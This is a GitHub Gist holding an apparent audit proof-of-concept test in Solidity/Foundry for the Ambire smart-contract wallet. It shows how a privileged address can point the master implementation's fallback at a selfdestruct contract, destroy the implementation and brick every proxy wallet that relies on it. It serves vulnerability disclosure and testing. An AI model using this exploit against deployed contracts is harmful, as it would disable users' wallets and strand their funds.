Created
May 26, 2023 17:39
-
-
Save romeroadrian/79248a4fdf436eb3044e87cfffc9d8f7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "../src/libs/Bytes.sol"; | |
import "../src/libs/SignatureValidator.sol"; | |
import "../src/AmbireAccountFactory.sol"; | |
import "../src/AmbireAccount.sol"; | |
import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol"; | |
contract Destroyer { | |
function destruct() external { | |
selfdestruct(payable(address(0))); | |
} | |
} | |
contract AccountProxy is ERC1967Proxy { | |
// Simulate privileges storage | |
mapping(address => bytes32) public privileges; | |
constructor(address[] memory addrs, address _logic) ERC1967Proxy(_logic, "") { | |
uint256 len = addrs.length; | |
for (uint256 i = 0; i < len; i++) { | |
// NOTE: privileges[] can be set to any arbitrary value, but for this we SSTORE directly through the proxy creator | |
privileges[addrs[i]] = bytes32(uint(1)); | |
} | |
} | |
} | |
contract AuditDestructTest is Test { | |
AmbireAccount implementation; | |
AmbireAccount wallet; | |
function setUp() public { | |
// Master account implementation can be destroyed by any of the configured privileges | |
address deployer = makeAddr("deployer"); | |
address user = makeAddr("user"); | |
// Lets say deployer creates reference implementation | |
address[] memory addrsImpl = new address[](1); | |
addrsImpl[0] = deployer; | |
implementation = new AmbireAccount(addrsImpl); | |
// User deploys wallet | |
address[] memory addrsWallet = new address[](1); | |
addrsWallet[0] = user; | |
wallet = AmbireAccount(payable( | |
new AccountProxy(addrsWallet, address(implementation)) | |
)); | |
// Test the wallet is working ok | |
assertTrue(wallet.supportsInterface(0x4e2312e0)); | |
// Now privilege sets fallback | |
Destroyer destroyer = new Destroyer(); | |
AmbireAccount.Transaction[] memory txns = new AmbireAccount.Transaction[](1); | |
txns[0].to = address(implementation); | |
txns[0].value = 0; | |
txns[0].data = abi.encodeWithSelector( | |
AmbireAccount.setAddrPrivilege.selector, | |
address(0x6969), | |
bytes32(uint256(uint160(address(destroyer)))) | |
); | |
vm.prank(deployer); | |
implementation.executeBySender(txns); | |
// and destroys master implementation | |
Destroyer(address(implementation)).destruct(); | |
} | |
function test_AmbireAccount_DestroyImplementation() public { | |
// Assert implementation has been destroyed | |
assertEq(address(implementation).code.length, 0); | |
// Now every wallet (proxy) that points to this master implementation will be bricked | |
wallet.supportsInterface(0x4e2312e0); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment